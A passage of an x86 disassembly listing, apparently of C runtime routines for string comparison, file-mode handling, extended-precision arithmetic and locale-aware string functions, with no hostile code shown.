sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42FF1F: ; CODE XREF: sub_42FE70+86j
mov ebx, eax
pop eax
or eax, eax
jnz short loc_42FF2F
lock dec dword_4DB45C
jmp short loc_42FF39
; ---------------------------------------------------------------------------
loc_42FF2F: ; CODE XREF: sub_42FE70+B4j
push 13h
call sub_41B820
add esp, 4
loc_42FF39: ; CODE XREF: sub_42FE70+BDj
mov eax, ebx
loc_42FF3B: ; CODE XREF: sub_42FE70+51j
pop ebx
pop esi
pop edi
leave
retn
sub_42FE70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FF40 proc near ; CODE XREF: sub_42C160+11Bp
; sub_42C160+2D4p ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
or ecx, ecx
jz loc_43003A
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
lea eax, dword_4DB1B0
cmp dword ptr [eax+8], 0
jnz short loc_42FFB1
mov bh, 41h
mov bl, 5Ah
mov dh, 20h
lea ecx, [ecx+0]
loc_42FF6C: ; CODE XREF: sub_42FF40+53j
mov ah, [esi]
or ah, ah
mov al, [edi]
jz short loc_42FF95
or al, al
jz short loc_42FF95
inc esi
inc edi
cmp ah, bh
jb short loc_42FF84
cmp ah, bl
ja short loc_42FF84
add ah, dh
loc_42FF84: ; CODE XREF: sub_42FF40+3Cj
; sub_42FF40+40j
cmp al, bh
jb short loc_42FF8E
cmp al, bl
ja short loc_42FF8E
add al, dh
loc_42FF8E: ; CODE XREF: sub_42FF40+46j
; sub_42FF40+4Aj
cmp ah, al
jnz short loc_42FF9F
dec ecx
jnz short loc_42FF6C
loc_42FF95: ; CODE XREF: sub_42FF40+32j
; sub_42FF40+36j
xor ecx, ecx
cmp ah, al
jz loc_43003A
loc_42FF9F: ; CODE XREF: sub_42FF40+50j
mov ecx, 0FFFFFFFFh
jb loc_43003A
neg ecx
jmp loc_43003A
; ---------------------------------------------------------------------------
loc_42FFB1: ; CODE XREF: sub_42FF40+21j
lock inc dword_4DB45C
cmp dword_4DB458, 0
jg short loc_42FFC5
push 0
jmp short loc_42FFDE
; ---------------------------------------------------------------------------
loc_42FFC5: ; CODE XREF: sub_42FF40+7Fj
lock dec dword_4DB45C
mov ebx, ecx
push 13h
call sub_41B780
mov [esp+10h+var_10], 1
mov ecx, ebx
loc_42FFDE: ; CODE XREF: sub_42FF40+83j
xor eax, eax
xor ebx, ebx
mov edi, edi
loc_42FFE4: ; CODE XREF: sub_42FF40+CDj
mov al, [esi]
or eax, eax
mov bl, [edi]
jz short loc_43000F
or ebx, ebx
jz short loc_43000F
inc esi
inc edi
push ecx
push eax
push ebx
call sub_41A6D0
mov ebx, eax
add esp, 4
call sub_41A6D0
add esp, 4
pop ecx
cmp eax, ebx
jnz short loc_430015
dec ecx
jnz short loc_42FFE4
loc_43000F: ; CODE XREF: sub_42FF40+AAj
; sub_42FF40+AEj
xor ecx, ecx
cmp eax, ebx
jz short loc_43001E
loc_430015: ; CODE XREF: sub_42FF40+CAj
mov ecx, 0FFFFFFFFh
jb short loc_43001E
neg ecx
loc_43001E: ; CODE XREF: sub_42FF40+D3j
; sub_42FF40+DAj
pop eax
or eax, eax
jnz short loc_43002C
lock dec dword_4DB45C
jmp short loc_43003A
; ---------------------------------------------------------------------------
loc_43002C: ; CODE XREF: sub_42FF40+E1j
mov ebx, ecx
push 13h
call sub_41B820
add esp, 4
mov ecx, ebx
loc_43003A: ; CODE XREF: sub_42FF40+Bj
; sub_42FF40+59j ...
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_42FF40 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, dword_4DB560
jnb short loc_430081
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_430091
loc_430081: ; CODE XREF: ___:0043005Dj
call sub_420520
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_4300BF
; ---------------------------------------------------------------------------
loc_430091: ; CODE XREF: ___:0043007Fj
mov edx, [ebp+8]
push edx
call sub_427BE0
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_4300D0
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_427C70
add esp, 4
mov eax, [ebp-4]
loc_4300BF: ; CODE XREF: ___:0043008Fj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4300D0 proc near ; CODE XREF: sub_42CE20+D4p
; sub_42CE20+1A6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 80h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 8000h
jnz short loc_430139
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
mov cl, [eax+edx+4]
and cl, 7Fh
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, dword_4DB460[edx*4]
mov [edx+eax+4], cl
jmp short loc_43018A
; ---------------------------------------------------------------------------
loc_430139: ; CODE XREF: sub_4300D0+2Ej
cmp [ebp+arg_4], 4000h
jnz short loc_43017A
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
mov al, [edx+ecx+4]
or al, 80h
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, dword_4DB460[ecx*4]
mov [ecx+edx+4], al
jmp short loc_43018A
; ---------------------------------------------------------------------------
loc_43017A: ; CODE XREF: sub_4300D0+70j
call sub_420520
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp short loc_43019B
; ---------------------------------------------------------------------------
loc_43018A: ; CODE XREF: sub_4300D0+67j
; sub_4300D0+A8j
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
and eax, 0FFFFC000h
add eax, 8000h
loc_43019B: ; CODE XREF: sub_4300D0+B8j
mov esp, ebp
pop ebp
retn
sub_4300D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4301A0 proc near ; CODE XREF: sub_42D080+9Bp
; sub_431230+2Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_8], 0
jnz short loc_4301AE
xor eax, eax
jmp short loc_4301EB
; ---------------------------------------------------------------------------
loc_4301AE: ; CODE XREF: sub_4301A0+8j
mov eax, dword_4DB564
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 1
mov edx, dword_4DB784
push edx
call sub_430B00
add esp, 1Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4301E5
mov eax, 7FFFFFFFh
jmp short loc_4301EB
; ---------------------------------------------------------------------------
loc_4301E5: ; CODE XREF: sub_4301A0+3Cj
mov eax, [ebp+var_4]
sub eax, 2
loc_4301EB: ; CODE XREF: sub_4301A0+Cj
; sub_4301A0+43j
mov esp, ebp
pop ebp
retn
sub_4301A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4301F0 proc near ; CODE XREF: sub_42D080+2Dp
; sub_430F50+81p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, dword_4DB0D4
mov [ebp+var_4], eax
loc_4301FE: ; CODE XREF: sub_4301F0+A3j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx], 0
jz loc_430298
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
push 0
push 1
nop
call near ptr 2710000h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_430232
or eax, 0FFFFFFFFh
jmp short loc_43029A
; ---------------------------------------------------------------------------
loc_430232: ; CODE XREF: sub_4301F0+3Bj
push 3Dh
push offset dword_434EA0
push 2
mov ecx, [ebp+var_C]
push ecx
call sub_414DD0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_430255
or eax, 0FFFFFFFFh
jmp short loc_43029A
; ---------------------------------------------------------------------------
loc_430255: ; CODE XREF: sub_4301F0+5Ej
push 0
push 0
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
push 0
push 1
call near ptr 2710000h
nop
test eax, eax
jnz short loc_43027C
or eax, 0FFFFFFFFh
jmp short loc_43029A
; ---------------------------------------------------------------------------
loc_43027C: ; CODE XREF: sub_4301F0+85j
push 0
mov eax, [ebp+var_8]
push eax
call sub_430F50
add esp, 8
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp loc_4301FE
; ---------------------------------------------------------------------------
loc_430298: ; CODE XREF: sub_4301F0+14j
xor eax, eax
loc_43029A: ; CODE XREF: sub_4301F0+40j
; sub_4301F0+63j ...
mov esp, ebp
pop ebp
retn
sub_4301F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4302A0 proc near ; CODE XREF: sub_42DFD0+2B5p
; sub_4306E0+B5p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 48h
mov word ptr [ebp+var_2C], 0
mov [ebp+var_4], 0
mov [ebp+var_14], 0
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov eax, [ebp+arg_0]
mov cx, [eax+0Ah]
mov word ptr [ebp+var_18], cx
mov edx, [ebp+arg_4]
mov ax, [edx+0Ah]
mov word ptr [ebp+var_20], ax
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
mov edx, [ebp+var_20]
and edx, 0FFFFh
xor ecx, edx
and ecx, 8000h
mov word ptr [ebp+var_2C], cx
mov ax, word ptr [ebp+var_18]
and ax, 7FFFh
mov word ptr [ebp+var_18], ax
mov cx, word ptr [ebp+var_20]
and cx, 7FFFh
mov word ptr [ebp+var_20], cx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_20]
and eax, 0FFFFh
add edx, eax
mov word ptr [ebp+var_30], dx
mov ecx, [ebp+var_18]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jge short loc_43035D
mov edx, [ebp+var_20]
and edx, 0FFFFh
cmp edx, 7FFFh
jge short loc_43035D
mov eax, [ebp+var_30]
and eax, 0FFFFh
cmp eax, 0BFFDh
jle short loc_430394
loc_43035D: ; CODE XREF: sub_4302A0+9Bj
; sub_4302A0+ACj
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
neg ecx
sbb ecx, ecx
and ecx, 80000000h
add ecx, 7FFF8000h
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
jmp loc_4306D9
; ---------------------------------------------------------------------------
loc_430394: ; CODE XREF: sub_4302A0+BBj
mov edx, [ebp+var_30]
and edx, 0FFFFh
cmp edx, 3FBFh
jg short loc_4303C7
mov eax, [ebp+arg_0]
mov dword ptr [eax+8], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp loc_4306D9
; ---------------------------------------------------------------------------
loc_4303C7: ; CODE XREF: sub_4302A0+103j
mov eax, [ebp+var_18]
and eax, 0FFFFh
test eax, eax
jnz short loc_43040D
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
and eax, 7FFFFFFFh
test eax, eax
jnz short loc_43040D
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_43040D
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0
jnz short loc_43040D
mov eax, [ebp+arg_0]
mov word ptr [eax+0Ah], 0
jmp loc_4306D9
; ---------------------------------------------------------------------------
loc_43040D: ; CODE XREF: sub_4302A0+131j
; sub_4302A0+14Cj ...
mov ecx, [ebp+var_20]
and ecx, 0FFFFh
test ecx, ecx
jnz short loc_430469
mov dx, word ptr [ebp+var_30]
add dx, 1
mov word ptr [ebp+var_30], dx
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
and ecx, 7FFFFFFFh
test ecx, ecx
jnz short loc_430469
mov edx, [ebp+arg_4]
cmp dword ptr [edx+4], 0
jnz short loc_430469
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
jnz short loc_430469
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+8], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+4], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax], 0
jmp loc_4306D9
; ---------------------------------------------------------------------------
loc_430469: ; CODE XREF: sub_4302A0+178j
; sub_4302A0+194j ...
mov [ebp+var_28], 0
mov [ebp+var_1C], 0
jmp short loc_430482
; ---------------------------------------------------------------------------
loc_430479: ; CODE XREF: sub_4302A0+29Cj
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_430482: ; CODE XREF: sub_4302A0+1D7j
cmp [ebp+var_1C], 5
jge loc_430541
mov edx, [ebp+var_1C]
shl edx, 1
mov [ebp+var_24], edx
mov [ebp+var_8], 8
mov eax, 5
sub eax, [ebp+var_1C]
mov [ebp+var_34], eax
jmp short loc_4304B1
; ---------------------------------------------------------------------------
loc_4304A8: ; CODE XREF: sub_4302A0+28Ej
mov ecx, [ebp+var_34]
sub ecx, 1
mov [ebp+var_34], ecx
loc_4304B1: ; CODE XREF: sub_4302A0+206j
cmp [ebp+var_34], 0
jle short loc_430533
mov edx, [ebp+arg_0]
add edx, [ebp+var_24]
mov [ebp+var_38], edx
mov eax, [ebp+arg_4]
add eax, [ebp+var_8]
mov [ebp+var_3C], eax
mov ecx, [ebp+var_28]
lea edx, [ebp+ecx+var_14]
mov [ebp+var_40], edx
mov eax, [ebp+var_38]
xor ecx, ecx
mov cx, [eax]
mov edx, [ebp+var_3C]
xor eax, eax
mov ax, [edx]
imul ecx, eax
mov [ebp+var_44], ecx
mov ecx, [ebp+var_40]
push ecx
mov edx, [ebp+var_44]
push edx
mov eax, [ebp+var_40]
mov ecx, [eax]
push ecx
call sub_42D150
add esp, 0Ch
mov [ebp+var_48], eax
cmp [ebp+var_48], 0
jz short loc_43051C
mov edx, [ebp+var_28]
mov ax, word ptr [ebp+edx+var_10]
add ax, 1
mov ecx, [ebp+var_28]
mov word ptr [ebp+ecx+var_10], ax
loc_43051C: ; CODE XREF: sub_4302A0+266j
mov edx, [ebp+var_24]
add edx, 2
mov [ebp+var_24], edx
mov eax, [ebp+var_8]
sub eax, 2
mov [ebp+var_8], eax
jmp loc_4304A8
; ---------------------------------------------------------------------------
loc_430533: ; CODE XREF: sub_4302A0+215j
mov ecx, [ebp+var_28]
add ecx, 2
mov [ebp+var_28], ecx
jmp loc_430479
; ---------------------------------------------------------------------------
loc_430541: ; CODE XREF: sub_4302A0+1E6j
mov dx, word ptr [ebp+var_30]
sub dx, 3FFEh
mov word ptr [ebp+var_30], dx
loc_43054E: ; CODE XREF: sub_4302A0+2DBj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jle short loc_43057D
mov ecx, [ebp+var_C]
and ecx, 80000000h
test ecx, ecx
jnz short loc_43057D
lea edx, [ebp+var_14]
push edx
call sub_42D240
add esp, 4
mov ax, word ptr [ebp+var_30]
sub ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_43054E
; ---------------------------------------------------------------------------
loc_43057D: ; CODE XREF: sub_4302A0+2B4j
; sub_4302A0+2C1j
movsx ecx, word ptr [ebp+var_30]
test ecx, ecx
jg short loc_4305DD
mov dx, word ptr [ebp+var_30]
sub dx, 1
mov word ptr [ebp+var_30], dx
loc_430591: ; CODE XREF: sub_4302A0+32Aj
movsx eax, word ptr [ebp+var_30]
test eax, eax
jge short loc_4305CC
mov ecx, [ebp+var_14]
and ecx, 0FFFFh
and ecx, 1
test ecx, ecx
jz short loc_4305B2
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4305B2: ; CODE XREF: sub_4302A0+307j
lea eax, [ebp+var_14]
push eax
call sub_42D2A0
add esp, 4
mov cx, word ptr [ebp+var_30]
add cx, 1
mov word ptr [ebp+var_30], cx
jmp short loc_430591
; ---------------------------------------------------------------------------
loc_4305CC: ; CODE XREF: sub_4302A0+2F7j
cmp [ebp+var_4], 0
jz short loc_4305DD
mov dx, word ptr [ebp+var_14]
or dl, 1
mov word ptr [ebp+var_14], dx
loc_4305DD: ; CODE XREF: sub_4302A0+2E3j
; sub_4302A0+330j
mov eax, [ebp+var_14]
and eax, 0FFFFh
cmp eax, 8000h
jg short loc_4305FD
mov ecx, [ebp+var_14]
and ecx, 1FFFFh
cmp ecx, 18000h
jnz short loc_43065E
loc_4305FD: ; CODE XREF: sub_4302A0+34Aj
cmp [ebp+var_14+2], 0FFFFFFFFh
jnz short loc_430655
mov [ebp+var_14+2], 0
cmp [ebp+var_10+2], 0FFFFFFFFh
jnz short loc_43064A
mov [ebp+var_10+2], 0
mov edx, [ebp+var_C+2]
and edx, 0FFFFh
cmp edx, 0FFFFh
jnz short loc_43063C
mov word ptr [ebp+var_C+2], 8000h
mov ax, word ptr [ebp+var_30]
add ax, 1
mov word ptr [ebp+var_30], ax
jmp short loc_430648
; ---------------------------------------------------------------------------
loc_43063C: ; CODE XREF: sub_4302A0+386j
mov cx, word ptr [ebp+var_C+2]
add cx, 1
mov word ptr [ebp+var_C+2], cx
loc_430648: ; CODE XREF: sub_4302A0+39Aj
jmp short loc_430653
; ---------------------------------------------------------------------------
loc_43064A: ; CODE XREF: sub_4302A0+36Ej
mov edx, [ebp+var_10+2]
add edx, 1
mov [ebp+var_10+2], edx
loc_430653: ; CODE XREF: sub_4302A0:loc_430648j
jmp short loc_43065E
; ---------------------------------------------------------------------------
loc_430655: ; CODE XREF: sub_4302A0+361j
mov eax, [ebp+var_14+2]
add eax, 1
mov [ebp+var_14+2], eax
loc_43065E: ; CODE XREF: sub_4302A0+35Bj
; sub_4302A0:loc_430653j
mov ecx, [ebp+var_30]
and ecx, 0FFFFh
cmp ecx, 7FFFh
jl short loc_4306A3
mov edx, [ebp+var_2C]
and edx, 0FFFFh
neg edx
sbb edx, edx
and edx, 80000000h
add edx, 7FFF8000h
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+4], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp short loc_4306D9
; ---------------------------------------------------------------------------
loc_4306A3: ; CODE XREF: sub_4302A0+3CDj
mov eax, [ebp+arg_0]
mov cx, word ptr [ebp+var_14+2]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_10]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+6], edx
mov eax, [ebp+var_30]
and eax, 0FFFFh
mov ecx, [ebp+var_2C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
loc_4306D9: ; CODE XREF: sub_4302A0+EFj
; sub_4302A0+122j ...
mov esp, ebp
pop ebp
retn
sub_4302A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4306E0 proc near ; CODE XREF: sub_42D450+914p
; sub_42DFD0+288p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, offset dword_444EA0
sub eax, 60h
mov [ebp+var_4], eax
cmp [ebp+arg_4], 0
jnz short loc_4306FC
jmp loc_43079F
; ---------------------------------------------------------------------------
loc_4306FC: ; CODE XREF: sub_4306E0+15j
cmp [ebp+arg_4], 0
jge short loc_430715
mov ecx, [ebp+arg_4]
neg ecx
mov [ebp+arg_4], ecx
mov edx, offset dword_445000
sub edx, 60h
mov [ebp+var_4], edx
loc_430715: ; CODE XREF: sub_4306E0+20j
cmp [ebp+arg_8], 0
jnz short loc_430723
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_430723: ; CODE XREF: sub_4306E0+39j
; sub_4306E0+6Aj ...
cmp [ebp+arg_4], 0
jz short loc_43079F
mov ecx, [ebp+var_4]
add ecx, 54h
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
and edx, 7
mov [ebp+var_18], edx
mov eax, [ebp+arg_4]
sar eax, 3
mov [ebp+arg_4], eax
cmp [ebp+var_18], 0
jnz short loc_43074C
jmp short loc_430723
; ---------------------------------------------------------------------------
loc_43074C: ; CODE XREF: sub_4306E0+68j
mov ecx, [ebp+var_18]
imul ecx, 0Ch
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, [eax]
cmp ecx, 8000h
jl short loc_43078D
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_14], eax
mov ecx, [edx+4]
mov [ebp+var_10], ecx
mov edx, [edx+8]
mov [ebp+var_C], edx
mov eax, [ebp+var_14+2]
sub eax, 1
mov [ebp+var_14+2], eax
lea ecx, [ebp+var_14]
mov [ebp+var_8], ecx
loc_43078D: ; CODE XREF: sub_4306E0+88j
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4302A0
add esp, 8
jmp short loc_430723
; ---------------------------------------------------------------------------
loc_43079F: ; CODE XREF: sub_4306E0+17j
; sub_4306E0+47j
mov esp, ebp
pop ebp
retn
sub_4306E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4307B0 proc near ; CODE XREF: sub_42F960+19Cp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434EB0
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DB440, 0
jnz short loc_430822
push 0
push 0
push 1
push 0
nop
call near ptr 2610000h
test eax, eax
jz short loc_4307FD
mov dword_4DB440, 1
jmp short loc_430822
; ---------------------------------------------------------------------------
loc_4307FD: ; CODE XREF: sub_4307B0+3Fj
push 0
push 0
push 1
push 0
nop
call near ptr 26F0000h
test eax, eax
jz short loc_43081B
mov dword_4DB440, 2
jmp short loc_430822
; ---------------------------------------------------------------------------
loc_43081B: ; CODE XREF: sub_4307B0+5Dj
xor eax, eax
jmp loc_430931
; ---------------------------------------------------------------------------
loc_430822: ; CODE XREF: sub_4307B0+2Dj
; sub_4307B0+4Bj ...
cmp dword_4DB440, 1
jnz short loc_430846
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 2610000h
jmp loc_430931
; ---------------------------------------------------------------------------
loc_430846: ; CODE XREF: sub_4307B0+79j
cmp dword_4DB440, 2
jnz loc_43092F
cmp [ebp+arg_10], 0
jnz short loc_430862
mov ecx, dword_4DB1C8
mov [ebp+arg_10], ecx
loc_430862: ; CODE XREF: sub_4307B0+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 26F0000h
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_430884
xor eax, eax
jmp loc_430931
; ---------------------------------------------------------------------------
loc_430884: ; CODE XREF: sub_4307B0+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
add eax, 3
and al, 0FCh
call sub_417E20
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_4308C4
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_4308C4: ; CODE XREF: sub_4307B0+FBj
cmp [ebp+var_20], 0
jnz short loc_4308CE
xor eax, eax
jmp short loc_430931
; ---------------------------------------------------------------------------
loc_4308CE: ; CODE XREF: sub_4307B0+118j
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
nop
call near ptr 26F0000h
test eax, eax
jnz short loc_4308EC
xor eax, eax
jmp short loc_430931
; ---------------------------------------------------------------------------
loc_4308EC: ; CODE XREF: sub_4307B0+136j
cmp [ebp+arg_C], 0
jnz short loc_43090D
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 1
mov ecx, [ebp+arg_10]
push ecx
call near ptr 2810000h
nop
mov [ebp+var_24], eax
jmp short loc_43092A
; ---------------------------------------------------------------------------
loc_43090D: ; CODE XREF: sub_4307B0+140j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 1
mov edx, [ebp+arg_10]
push edx
nop
call near ptr 2810000h
mov [ebp+var_24], eax
loc_43092A: ; CODE XREF: sub_4307B0+15Bj
mov eax, [ebp+var_24]
jmp short loc_430931
; ---------------------------------------------------------------------------
loc_43092F: ; CODE XREF: sub_4307B0+9Dj
xor eax, eax
loc_430931: ; CODE XREF: sub_4307B0+6Dj
; sub_4307B0+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4307B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430950 proc near ; CODE XREF: sub_42F960+4Bp
; sub_42F960+7Ep ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434EC0
push offset sub_426A54
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp dword_4DB444, 0
jnz short loc_4309C2
push 0
push 0
push 1
push 0
call near ptr 2610000h
nop
test eax, eax
jz short loc_43099D
mov dword_4DB444, 1
jmp short loc_4309C2
; ---------------------------------------------------------------------------
loc_43099D: ; CODE XREF: sub_430950+3Fj
push 0
push 0
push 1
push 0
call near ptr 26F0000h
nop
test eax, eax
jz short loc_4309BB
mov dword_4DB444, 2
jmp short loc_4309C2
; ---------------------------------------------------------------------------
loc_4309BB: ; CODE XREF: sub_430950+5Dj
xor eax, eax
jmp loc_430AE1
; ---------------------------------------------------------------------------
loc_4309C2: ; CODE XREF: sub_430950+2Dj
; sub_430950+4Bj ...
cmp dword_4DB444, 2
jnz short loc_4309E6
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call near ptr 26F0000h
nop
jmp loc_430AE1
; ---------------------------------------------------------------------------
loc_4309E6: ; CODE XREF: sub_430950+79j
cmp dword_4DB444, 1
